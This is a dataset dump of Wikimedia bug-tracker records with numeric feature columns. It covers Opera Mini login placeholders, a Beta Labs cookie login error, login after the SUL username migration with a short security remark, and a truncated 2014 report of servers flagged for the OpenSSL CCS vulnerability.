https://gerrit.wikimedia.org/r/165634",,,1413213200,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,1,False,,,-38,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.086956521739131,1.0,"Change 165634 had a related patch set uploaded by Florianschmidtwelzow:
Use desktop login/account creation form in alpha

GERRIT_URL"
311265,No placeholders on account creation or login forms in Opera Mini,"https://gerrit.wikimedia.org/r/165634 will take care of this if it was to move to stable.

I think we need to kill our custom login code.",,,1412804658,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,19.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,15.0,19.0,4.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.423076923076923,0.8846153846153846,"GERRIT_URL will take care of this if it was to move to stable.

I think we need to kill our custom login code."
311261,No placeholders on account creation or login forms in Opera Mini,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Trello card https://trello.com/c/uyLAu4Q2",,,1412798416,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Trello card URL"
311259,No placeholders on account creation or login forms in Opera Mini,Opera Mini 5-7 doesn't support placeholders or media queries. I'd suggest adding labels and using a media query to hide them.,,,1412798296,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,7.0,0.0,7.0,4.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,4.0,7.0,0.0,0.0,0.0,3.888888888888889,0.9259259259259259,Opera Mini 5-7 doesn't support placeholders or media queries. I'd suggest adding labels and using a media query to hide them.
311256,No placeholders on account creation or login forms in Opera Mini,There was a bug about placeholder support in opera mini for search overlay that got won't fixed. Good reasons in that bug where ever it might be about why we shouldn't build JS fallbacks (Also opera mini doesn't run our JS at all although we may want to revisit this),,,1406595351,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,1,True,,,-49,True,2.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,2.0,0.0,4.0,5.0,0.0,0.0,2.0,5.0,0.0,16.0,14.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,21.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,9.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,7.0,14.0,4.0,0.0,0.0,0.0,7.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,3.892857142857143,0.8214285714285714,There was a bug about placeholder support in opera mini for search overlay that got won't fixed. Good reasons in that bug where ever it might be about why we shouldn't build JS fallbacks (Also opera mini doesn't run our JS at all although we may want to revisit this)
311253,No placeholders on account creation or login forms in Opera Mini,This is because Opera Mini is the only browser that doesn't support the 'placeholder' attribute. Should we build a fallback just for Opera Mini?,,,1406577408,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,1,False,,,-49,True,0.0,0.0,0.0,0.0,3.0,3.0,7.0,3.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,3.0,0.0,7.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,10.0,7.0,21.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,7.0,14.0,3.0,7.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.172413793103448,0.8275862068965517,This is because Opera Mini is the only browser that doesn't support the 'placeholder' attribute. Should we build a fallback just for Opera Mini?
311250,No placeholders on account creation or login forms in Opera Mini,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Trello card https://trello.com/c/jt1O10K2",,,1406575523,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,1,False,,,-49,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Trello card URL"
70044,"Cannot login to Betalabs , showing Login error:Wikipedia uses cookies to log in users. You have cookies disabled. Please enable them and try again.","Screenshot

I cannot login to Betalabs, it is showing the following error even though I have cookies enabled:

Login error 
Wikipedia uses cookies to log in users. You have cookies disabled. Please enable them and try again.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=63981

**Attached**: {F14355}",High,80.0,1405445400,1405446771.0,PHID-USER-24djtv3gj5gua2y6u2g5,False,,False,PHID-TASK-2ecu5hkbxnpywwzogogj,task_description,resolved,True,c3,1,False,False,True,-51,True,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,17.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,6.0,5.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,3.546511627906977,0.6046511627906976,"Screenshot

I cannot login to Betalabs, it is showing the following error even though I have cookies enabled:

Login error 
Wikipedia uses cookies to log in users. You have cookies disabled. Please enable them and try again.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
URL

**Attached**: {F14355}"
314120,"Cannot login to Betalabs , showing Login error:Wikipedia uses cookies to log in users. You have cookies disabled. Please enable them and try again.","Thanks Ori, yes it's working now .",,,1405447343,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-2ecu5hkbxnpywwzogogj,task_subcomment,,True,c3,1,False,,,-51,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,22.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.111111111111111,1.0,"Thanks Ori, yes it's working now ."
314115,"Cannot login to Betalabs , showing Login error:Wikipedia uses cookies to log in users. You have cookies disabled. Please enable them and try again.","This was due to Beta's memcached configuration being out of sync with the memcached configuration. (And it was my fault for updating one and not the other.)

You may have to clear your cookies, but it should work now.",,,1405446771,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-2ecu5hkbxnpywwzogogj,task_subcomment,,True,c3,1,True,,,-51,True,0.0,0.0,0.0,0.0,2.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,13.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,9.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,11.0,13.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.8297872340425534,0.8297872340425532,"This was due to Beta's memcached configuration being out of sync with the memcached configuration. (And it was my fault for updating one and not the other.)

You may have to clear your cookies, but it should work now."
69995,Allow login in with pre-rename username and password,"As a user who has been renamed during SUL migration
I want to login with my old name and password
So I can continue to use the wiki

As a user who has been renamed during SUL migration
I want to know that I was renamed
So I can learn my new name and/or ask for a new name

Given that I authenticate with ""username"" and ""password""
When ""password"" is not valid for ""username""
  AND ""password"" is valid for ""username~<WIKI>""
Then I am logged in as ""username~<WIKI>""
  AND I am redirected to the SUL account renamed page
  
Given that I am logged in
When I am redirected to the SUL account renamed page
Then I am told my account was renamed to NEW_NAME
  AND I am asked to log in using that name in the future
  AND I am told how I can get my new account renamed
  AND I am told why all this happened
  AND I am given a link to the page I wanted to visit

--------------------------
**Version**: master
**Severity**: enhancement",High,80.0,1405358040,1413574377.0,PHID-USER-ll6tmaogat2b5q7tnqas,False,,False,PHID-TASK-wqzmihtsasotmpve57yz,task_description,resolved,True,c3,1,True,False,True,-51,True,0.3333333333333333,0.0,0.0,5.0,0.3333333333333333,2.3333333333333335,0.6666666666666666,0.0,0.0,0.0,2.6666666666666665,0.0,0.0,0.0,0.0,8.0,0.0,2.6666666666666665,10.0,0.0,2.0,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,5.666666666666667,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,0.0,0.0,0.0,2.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,9.333333333333334,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,3.3333333333333335,5.666666666666667,15.0,3.3333333333333335,3.3333333333333335,4.666666666666667,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,0.0,0.0,8.0,10.0,2.6666666666666665,0.0,4.666666666666667,0.0,8.0,0.0,2.3333333333333335,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,3.504566210045662,0.5135135135135135,"As a user who has been renamed during SUL migration
I want to login with my old name and password
So I can continue to use the wiki

As a user who has been renamed during SUL migration
I want to know that I was renamed
So I can learn my new name and/or ask for a new name

Given that I authenticate with ""username"" and ""password""
When ""password"" is not valid for ""username""
  AND ""password"" is valid for ""username~<WIKI>""
Then I am logged in as ""username~<WIKI>""
  AND I am redirected to the SUL account renamed page
  
Given that I am logged in
When I am redirected to the SUL account renamed page
Then I am told my account was renamed to NEW_NAME
  AND I am asked to log in using that name in the future
  AND I am told how I can get my new account renamed
  AND I am told why all this happened
  AND I am given a link to the page I wanted to visit

--------------------------
**Version**: master
**Severity**: enhancement"
312033,Allow login in with pre-rename username and password,"Change 148420 merged by jenkins-bot:
Interstitial notification page for renamed users

https://gerrit.wikimedia.org/r/148420",,,1413574391,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wqzmihtsasotmpve57yz,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.176470588235294,1.0,"Change 148420 merged by jenkins-bot:
Interstitial notification page for renamed users

GERRIT_URL"
312032,Allow login in with pre-rename username and password,"Change 156947 merged by jenkins-bot:
Check for renamed user on login

https://gerrit.wikimedia.org/r/156947",,,1411513624,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wqzmihtsasotmpve57yz,task_subcomment,,True,c3,1,False,,,-41,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,18.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.176470588235294,1.0,"Change 156947 merged by jenkins-bot:
Check for renamed user on login

GERRIT_URL"
312030,Allow login in with pre-rename username and password,"Change 147020 merged by jenkins-bot:
Allow login with pre-rename username and password

https://gerrit.wikimedia.org/r/147020",,,1411508899,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wqzmihtsasotmpve57yz,task_subcomment,,True,c3,1,False,,,-41,True,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,0.95,"Change 147020 merged by jenkins-bot:
Allow login with pre-rename username and password

GERRIT_URL"
312026,Allow login in with pre-rename username and password,"Change 156887 merged by jenkins-bot:
Allow extensions to indicate a username doesn't exist

https://gerrit.wikimedia.org/r/156887",,,1409870491,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wqzmihtsasotmpve57yz,task_subcomment,,True,c3,1,False,,,-43,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.55,1.0,"Change 156887 merged by jenkins-bot:
Allow extensions to indicate a username doesn't exist

GERRIT_URL"
312020,Allow login in with pre-rename username and password,"(In reply to Chris Steipp from comment #5)
> On a separate note, I wanted to document that this feature has slight
> security implications. Since we're automatically changing the username on
> login, there's a small (nearly impossible, but not entirely) chance we'll
> change it to the wrong username, if two users have the same password. This
> would be the same if pre-finalization, a local user came to a wiki and
> ""accidentally"" logged into another person's account who happened to have the
> same username and password.
> 
> Highly unlikely to have any real impact, but wanted to bring it up in case
> it bothers anyone.

I think I pointed that out somewhere, but maybe it was only as discussion in a meeting.  It is a fairly small new hole as the two users that are being confused must be USER and USER~wiki. Meaning the USER~wiki account is now exposed to brute force attacks on the USER account's password.",,,1409263205,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-wqzmihtsasotmpve57yz,task_subcomment,,True,c3,1,True,,,-44,True,0.0,0.0,0.0,1.0,0.0,3.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,2.0,0.0,5.0,11.0,0.0,1.0,1.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,1.0,0.0,17.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,5.0,6.0,22.0,1.0,2.0,5.0,0.0,0.0,0.0,1.0,2.0,0.0,2.0,0.0,4.0,11.0,12.0,0.0,0.0,0.0,4.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,3.4947368421052634,0.6421052631578947,"(In reply to Chris Steipp from comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I think I pointed that out somewhere, but maybe it was only as discussion in a meeting.  It is a fairly small new hole as the two users that are being confused must be USER and USER~wiki. Meaning the USER~wiki account is now exposed to brute force attacks on the USER account's password."
312011,Allow login in with pre-rename username and password,"I added a few patchsets (gerrit 156887 and gerrit 156947) to add a hook to core and use that in CentralAuth to fix the remaining use case that Bryan's patch didn't cover. This feels ugly, but I'm not sure we have a better solution.

On a separate note, I wanted to document that this feature has slight security implications. Since we're automatically changing the username on login, there's a small (nearly impossible, but not entirely) chance we'll change it to the wrong username, if two users have the same password. This would be the same if pre-finalization, a local user came to a wiki and ""accidentally"" logged into another person's account who happened to have the same username and password.

Highly unlikely to have any real impact, but wanted to bring it up in case it bothers anyone.",,,1409260392,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-wqzmihtsasotmpve57yz,task_subcomment,,True,c3,1,True,,,-44,True,1.0,0.5,1.0,0.0,1.5,8.5,0.5,0.0,0.0,1.0,1.0,2.0,0.0,0.5,0.5,3.0,0.0,4.5,11.0,0.5,3.5,0.0,0.5,0.0,4.0,0.5,0.0,0.0,0.0,1.0,0.0,4.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,14.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,7.0,0.5,5.0,2.5,4.0,10.5,0.0,0.0,0.0,0.0,5.5,0.0,1.5,0.0,5.0,11.0,1.0,0.0,1.0,0.0,5.0,0.0,0.5,3.5,0.0,1.0,0.5,0.0,0.0,3.9345238095238093,0.7261904761904762,"I added a few patchsets (gerrit 156887 and gerrit 156947) to add a hook to core and use that in CentralAuth to fix the remaining use case that Bryan's patch didn't cover. This feels ugly, but I'm not sure we have a better solution.

On a separate note, I wanted to document that this feature has slight security implications. Since we're automatically changing the username on login, there's a small (nearly impossible, but not entirely) chance we'll change it to the wrong username, if two users have the same password. This would be the same if pre-finalization, a local user came to a wiki and ""accidentally"" logged into another person's account who happened to have the same username and password.

Highly unlikely to have any real impact, but wanted to bring it up in case it bothers anyone."
312002,Allow login in with pre-rename username and password,"Change 156947 had a related patch set uploaded by CSteipp:
Check for renamed user on login

https://gerrit.wikimedia.org/r/156947",,,1409258665,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wqzmihtsasotmpve57yz,task_subcomment,,True,c3,1,False,,,-44,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,"Change 156947 had a related patch set uploaded by CSteipp:
Check for renamed user on login

GERRIT_URL"
311995,Allow login in with pre-rename username and password,"Change 156887 had a related patch set uploaded by CSteipp:
[WIP] Allow extensions to indicate rename during login

https://gerrit.wikimedia.org/r/156887",,,1409255422,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wqzmihtsasotmpve57yz,task_subcomment,,True,c3,1,False,,,-44,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.541666666666667,1.0,"Change 156887 had a related patch set uploaded by CSteipp:
[WIP] Allow extensions to indicate rename during login

GERRIT_URL"
311991,Allow login in with pre-rename username and password,"Change 148420 had a related patch set uploaded by BryanDavis:
[WIP] Interstitial notification page for renamed users

https://gerrit.wikimedia.org/r/148420",,,1406051936,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wqzmihtsasotmpve57yz,task_subcomment,,True,c3,1,False,,,-50,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.913043478260869,1.0,"Change 148420 had a related patch set uploaded by BryanDavis:
[WIP] Interstitial notification page for renamed users

GERRIT_URL"
311987,Allow login in with pre-rename username and password,"Change 147020 had a related patch set uploaded by BryanDavis:
Allow login with pre-rename username and password

https://gerrit.wikimedia.org/r/147020",,,1405572399,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wqzmihtsasotmpve57yz,task_subcomment,,True,c3,1,False,,,-50,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.695652173913044,1.0,"Change 147020 had a related patch set uploaded by BryanDavis:
Allow login with pre-rename username and password

GERRIT_URL"
69564,Lots of servers are vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224),"Originally I posted this issue under Bug 53259, but I find more and more vulnerable sites, so I think it is more appropriate to move to a new bug report.

According to SSL Labs these servers are ""vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224) and exploitable"":

* graphite.wikimedia.org
* gdash.wikimedia.org
* dumps.wikimedia.org
* noc.wikimedia.org

These are vulnerable but probably not exploitable:

* ganglia.wikimedia.org
* lists.wikimedia.org

[1] https://www.ssllabs.com/ssltest/analyze.html?d=noc.wikimedia.org

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53259
